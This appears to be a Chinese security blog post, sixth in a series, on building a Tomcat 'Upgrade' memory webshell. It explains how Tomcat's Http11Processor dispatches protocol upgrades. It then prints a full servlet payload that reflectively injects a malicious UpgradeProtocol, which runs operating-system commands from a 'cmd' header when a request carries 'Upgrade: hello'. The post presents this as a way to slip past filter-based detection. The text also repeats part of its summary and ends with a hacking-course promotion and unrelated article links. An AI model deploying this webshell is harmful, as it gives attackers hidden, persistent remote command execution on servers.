写在前面

前面讲解了一个特殊的Tomcat内存马-Executor内存马,这篇同样是一个特殊,可以不被检测到的内存马-Upgrade内存马。

这篇就是内存马系列文章的第六篇了。

前置

在阅读这篇文章之前,同样需要对Tomcat的架构,和初始化流程等方面有一定的了解,上篇中的Executor内存马主要是在Executor中的构造,对于Upgrade内存马来说,主要是在Processor中进行构造的。

什么是Processor?

Processor是一个接口,针对于不同协议下具有不同的具体实现类,其实现类的具体功能是处理http请求,主要是对协议进行解析,状态处理以及响应。然后起一个中间作用转发到
Adater。

首先来看一下实现关系类。

流程分析

在tomcat提供服务的时候,首先会创建一个线程,

之后将会调用NioEndpoint#doRun方法处理底层的网络Socket连接,

因为这里的状态为OPEN, 所以我们调用了AbstractProtocol$ConnectionHandler#process方法进行处理。

如果这里的processor为空,将会创建一个processor,

默认创建为Http11Processor类,调用其process方法,

在这里将会对status标记为OPEN_READ,调用了service方法,

在其中,如果存在有upgrade标识,将会通过getUpgradeProtocol方法获取对应的UpgradeProtocol对象,之后会调用其accept方法,

这里就是我们的利用点了。

正文

分析

前文提到了利用点的位置,我们接下来分析一下如果利用那个方法,

这里的Upgrade是一个接口,

我们可以关注到他的由来,是通过this.protocol属性中调用了getUpgradeProtocol通过带入请求协议,取出了最后的upgradeProtocol,并调用了accept方法。

我们跟进一下看看this.protocol是个什么?

他是一个AbstractHttp11Protocol类,我们查看一下对应方法,

在其方法中,我们知道他是从属性httpUpgradeProtocols从取出对应数据的,我们跟进一下该属性。

很明显我们可以看出他是一个Map对象,其key为String, Value为UpgradeProtocol

很明显了,就是通过key来获取对应的对象。

如果我们能够插入一个Map对象,其key为我们特定的值,value为一个恶意的实现了UpgradeProtocol接口的类,当我们传入特定的key值的时候,将会调用恶意类的accept方法,达到我们的恶意目的。

那么我们初步可以得到构造的流程,

首先创建一个实现了UpgradeProtocol接口的恶意类,

之后获取httpUpgradeProtocols属性,将key和恶意类写入属性中,

之后将修改后的httpUpgradeProtocols属性值还原,

那么,重点来了,怎样获取httpUpgradeProtocols属性的呢?

同样有好几种方式,可以按照上篇所说的那样,通过内存搜索工具,在当前线程中找到对应类,

但是这里可以直接从request中获取,就方便点,从这里获取。

我们能够获取到AbstractProtocol$ConnectionHandler这个对象,

其实现类为AbstractHttp11Protocol类,

可以从中取出httpUpgradeProtocols属性,

这是一个HashMap类,我们可以传入一个恶意的键值对。

可以大概总结一下流程:

  1. 反射获取httpUpgradeProtocols属性;

  2. 创建一个实现了UpgradeProtocol接口,并重写了accept方法的恶意类;

  3. 将恶意类put进入httpUpgradeProtocols属性;

  4. 将改造后的属性值传回给handler中去。

编写内存马

接下来我们按照上面分析出来的流程进行payload的编写。

首先是反射获取属性

RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);Field connector = Request.class.getDeclaredField("connector");
connector.setAccessible(true);
Connector realConnector = (Connector) connector.get(request1);Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
protocolHandlerField.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);

这里主要是通过反射的方式取出了属性值,

之后我们创建了一个恶意类,

class MyUpgrade implements UpgradeProtocol {@Overridepublic String getHttpUpgradeName(boolean b) {return null;}@Overridepublic byte[] getAlpnIdentifier() {return new byte[0];}@Overridepublic String getAlpnName() {return null;}@Overridepublic Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {return null;}@Overridepublic InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {return null;}@Overridepublic boolean accept(org.apache.coyote.Request request) {String p = request.getHeader("cmd");try {String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};Field response = org.apache.coyote.Request.class.getDeclaredField("response");response.setAccessible(true);Response resp = (Response) response.get(request);byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();resp.doWrite(ByteBuffer.wrap(result));} catch (Exception e) {}return false;}
}

在accept中的逻辑中,首先判断他是什么系统环境,使用对应的命令执行方式,对于回显,直接从传入的request对象中封装了response对象,直接进行回显。

再然后,将其put进Map对象中,

upgradeProtocols.put("hello", myUpgrade);

千万不要忘记,在修改换之后应该将其还回去,

upgradeProtocolsField.set(handler, upgradeProtocols);

最后完整的payload,

package pres.test.momenshell;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.io.IOException;
import java.util.HashMap;public class AddTomcatUpgrade extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {doPost(req, resp);}class MyUpgrade implements UpgradeProtocol {@Overridepublic String getHttpUpgradeName(boolean b) {return null;}@Overridepublic byte[] getAlpnIdentifier() {return new byte[0];}@Overridepublic String getAlpnName() {return null;}@Overridepublic Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {return null;}@Overridepublic InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {return null;}@Overridepublic boolean accept(org.apache.coyote.Request request) {String p = request.getHeader("cmd");try {String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};Field response = org.apache.coyote.Request.class.getDeclaredField("response");response.setAccessible(true);Response resp = (Response) response.get(request);byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();resp.doWrite(ByteBuffer.wrap(result));} catch (Exception e) {}return false;}}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {try {RequestFacade rf = (RequestFacade) req;Field requestField = RequestFacade.class.getDeclaredField("request");requestField.setAccessible(true);Request request1 = (Request) requestField.get(rf);Field connector = Request.class.getDeclaredField("connector");connector.setAccessible(true);Connector realConnector = (Connector) connector.get(request1);Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");protocolHandlerField.setAccessible(true);AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);HashMap<String, UpgradeProtocol> upgradeProtocols = null;Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");upgradeProtocolsField.setAccessible(true);upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);MyUpgrade myUpgrade = new MyUpgrade();upgradeProtocols.put("hello", myUpgrade);upgradeProtocolsField.set(handler, upgradeProtocols);} catch (Exception e) {e.printStackTrace();}}
}

千万不要忘记箭头所指的点。

为什么要加这些呢?

我们在前面提到过在漏洞触发点的位置有几个条件,

在判断Connection头为Upgrade的时候将会进入if语句,

之后再取出Upgrade头作为请求协议,

最后获取到对应的Upgradeprotocol类,如果为hello,就为我们的恶意类,

最后调用它的accept方法进行触发。

总结

好了,第六篇系列文章也就结束了,这篇和上一篇同样可以一定程度上绕过Filter鉴权机制导致内存马不可用的情况。

贴一下,总结的构造流程:

  1. 反射获取httpUpgradeProtocols属性;

  2. 创建一个实现了UpgradeProtocol接口,并重写了accept方法的恶意类;

  3. 将恶意类put进入httpUpgradeProtocols属性;

  4. 将改造后的属性值传回给handler中去。

Reference

https://tttang.com/archive/1709

类,如果为hello,就为我们的恶意类,

最后调用它的accept方法进行触发。

总结

好了,第六篇系列文章也就结束了,这篇和上一篇同样可以一定程度上绕过Filter鉴权机制导致内存马不可用的情况。

贴一下,总结的构造流程:

  1. 反射获取httpUpgradeProtocols属性;

  2. 创建一个实现了UpgradeProtocol接口,并重写了accept方法的恶意类;

  3. 将恶意类put进入httpUpgradeProtocols属性;

  4. 将改造后的属性值传回给handler中去。

Reference

https://tttang.com/archive/1709

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

初探Upgrade内存马(内存马系列篇六)相关推荐

  1. android是什么牌手机6,好用不贵系列 篇六:我心目中最好的手机:魅蓝note6

    好用不贵系列 篇六:我心目中最好的手机:魅蓝note6 2020-03-21 20:47:04 17点赞 16收藏 51评论 最近,我手机屏幕脆了,换了外屏后,指纹识别不灵敏了.于是顺理成章的淘汰给我 ...

  2. Android 系统性能优化(42)---Android代码内存优化建议-Android资源篇

    Android代码内存优化建议-Android资源篇 这篇文章主要介绍在实际Android应用程序的开发中,容易导致内存泄露的一些情况.开发人员如果在进行代码编写之前就有内存泄露方面的基础知识,那么写 ...

  3. 探讨Android6.0及以上系统APP常驻内存(保活)实现-争宠篇

    探讨Android6.0及以上系统APP常驻内存(保活)实现-争宠篇 (转载请声明出处:http://blog.csdn.net/andrexpert/article/details/75045678 ...

  4. v11.03 鸿蒙内核源码分析(内存分配) | 内存有哪些分配方式 | 百篇博客分析HarmonyOS源码

    子曰:"君子周而不比,小人比而不周."<论语>:为政篇 百篇博客系列篇.本篇为: v11.xx 鸿蒙内核源码分析(内存分配篇) | 内存有哪些分配方式 内存管理相关篇为 ...

  5. 用 .NET Memory Profiler 跟踪.net 应用内存使用情况--基本应用篇(转载)

    用 .NET Memory Profiler 跟踪.net 应用内存使用情况--基本应用篇 作者:肖波       .net 框架号称永远不会发生内存泄漏,原因是其引入了内存回收的机制.但实际应用中, ...

  6. 内存溢出分析之工具篇

    内存溢出分析之工具篇 转载于:https://www.cnblogs.com/lwmp/p/9850446.html

  7. JVM初探- 使用堆外内存减少Full GC

    JVM初探-使用堆外内存减少Full GC 标签 : JVM 问题: 大部分主流互联网企业线上Server JVM选用了CMS收集器(如Taobao.LinkedIn.Vdian), 虽然CMS可与用 ...

  8. 亚马逊广告打造篇(第一期)

    产品详情 SKU Center 业务报告 Business Report 一.产品上架前充分准备 分析及确定产品核心流量词 保证点击率和转化率的有效准备分析及确定产品 1.分析及确定产品核心流量词 # ...

  9. 亚马逊广告打造篇(第二期)

    未完待续 亚马逊广告打造篇(第三期)上升期广告打法即将发布,后续请继续关注"爆单引擎"免费获取. 需要全部广告打法内容可以添加客服免费领取哦. 下期干货精彩片段 爆单基础业务 编号 ...

最新文章

  1. 个人使用OKR目标管理工具的感悟
  2. [ARC073C] Ball Coloring(贪心)
  3. HTML/CSS 知识点
  4. C++基础--STL基本容器string,vector,list,deque,map
  5. ssis 包配置组织程序_如何停止失控的SSIS程序包
  6. 如何调试神经网络参数
  7. 信用卡是超前消费的一种手段
  8. 微信加不了好友提醒服务器忙,微信加人对方收不到验证信息怎么办?
  9. 2019 中兴秋招笔试题1
  10. 浅谈敏捷管理工具:看板(Kanban)
  11. asp毕业设计——基于asp+access的网上投票系统设计与实现(毕业论文+程序源码)——网上投票系统
  12. WebStorm下载与安装
  13. 微信公众号短链生成服务器,微信公众号短链接生成源码
  14. MFC中显示图片(静态、动态)(转)
  15. 3.1.1 docker入门
  16. epoll_create1与epoll_create区别
  17. 2021杭电计算机考研数一英一408专业课考研经验贴
  18. win10安装ubuntu16.04双系统
  19. 对角线用计算机怎么算,显示器对角线尺寸与厘米英寸分辨率在线转换关系
  20. Chapter3:DataLinkLayer_LLC:计网笔记

热门文章

  1. 物质炼金术师三维模型建造,带来无限的遐想空间
  2. 成都七中高考成绩2021年查询,2021成都5大热门高中排行
  3. maven生命周期和常用命令
  4. spring初识--bean的几种注册方式
  5. K3 WISE 开发插件《K3 WISE常用数据表整理》
  6. 对比学一下HTML和Latex的常用输入输出——图像与表格
  7. Android中的Gilde
  8. 港大女生闻判拭泪 教师梦恐粉碎
  9. 关于手机号验证注意事项(可能出现19,16开头)
  10. 渗透测试基础入门-概念名词